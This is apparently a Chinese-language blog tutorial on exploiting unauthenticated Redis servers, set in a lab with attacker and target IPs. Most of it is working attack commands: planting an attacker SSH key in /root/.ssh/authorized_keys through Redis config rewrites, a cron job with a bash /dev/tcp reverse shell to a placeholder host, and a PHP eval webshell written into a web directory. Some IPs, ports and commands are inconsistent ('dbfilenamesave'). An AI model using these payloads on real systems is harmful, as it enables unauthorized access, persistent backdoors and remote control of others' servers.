目录
前言
redis是一个key-value存储系统,拥有很强大的功能,目前的普及率很高,redis是用ANSI C语言编写、支持网络、可基于内存和可持久化的日志型键值对数据库,并提供多种语言的API。reids默认端口是6379。造成为授权漏洞的原因不是逻辑漏洞(:》),是安全配置未作限制的原因,如果主机非内网主机,且拥有互联网IP那么redis大概率存在未授权漏洞,本人遇到的是这样的。
1.未授权访问漏洞
Redis默认情况是空密码连接,如果在root用户下安装的话,这是十分危险的,有多危险呢?大概( )这么危险。如果一个管理员在安装了Redis之后使用默认端口,且未做任何限制手段的话,那就接下来开始操作吧。
攻击:192.168.163.128
靶机:192.168.163.135
1.1 信息收集
使用nmap进行扫描
1.2 未授权登录和利用
当扫描发现主机端口对应的服务地址后,使用本地Redis客户端连接服务器获取敏感数据了。
Redis数据库的基本操作
info #查看redis的信息和服务器信息
flushall 删除所有数据
del key 删除键为key的数据
get key 获得参数key的数据
1.在攻击机中生成ssh公钥和私钥,密码设置为空
ssh-keygen -t rsa # 需要使用管理员权限
2.进入/root/.ssh目录,将生成的公钥保存到1.txt。
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
3.将保存ssh的公钥1.txt写入redis
cat 1.txt | redis-cli -h 192.168.163.132 -x set crack
4.获取redis备份路径
redis-cli -h 192.168.163.135
CONFIG GET dir
5.跟改redis备份路径为ssh,并修改上传公钥文件的名称为 authorized_keys
config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys
6.检查是否更改成功(查看有没有authorized_keys文件),然后保存退出
CONFIG GET dbfilenamesave
save # 保存
7. 查看受害主机已成功写入公钥
8.使用攻击机登录受害主机
1.3 定时任务反弹shell
在Linux系统下可以利用定时任务反弹shell,需要使用另一台主机接受redis服务器反弹来的shell
监听端口
nc -lvp 50050 #监听50050端口
执行如下命令
redis-cli -h 192.168.10.32 #登陆到redis数据库
set d "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/50050 0>&1\n\n" #每隔一分钟,向192.168.10.27的8888端口反弹shell
config set dir /var/spool/cron #设置工作目录
config set dbfilename root #设置文件名,当前用户叫啥就得命名为啥,当前用户为root
save #保存
#上面这几行命令的意思就是将 "\n\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.10.27/8888 0>&1\n\n" 这条命令写入test文件中,并且存放在/var/spool/cron目录下
1.4 Redis利用getshell
写入后门时候需要指导网站的绝对路径,然后执行如下命令即可
redis-cli -h 192.168.10.32
set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dir /var/www/html/dedecms/uploads
config set dbfilename webshell.php
save
参考链接: Redis未授权访问漏洞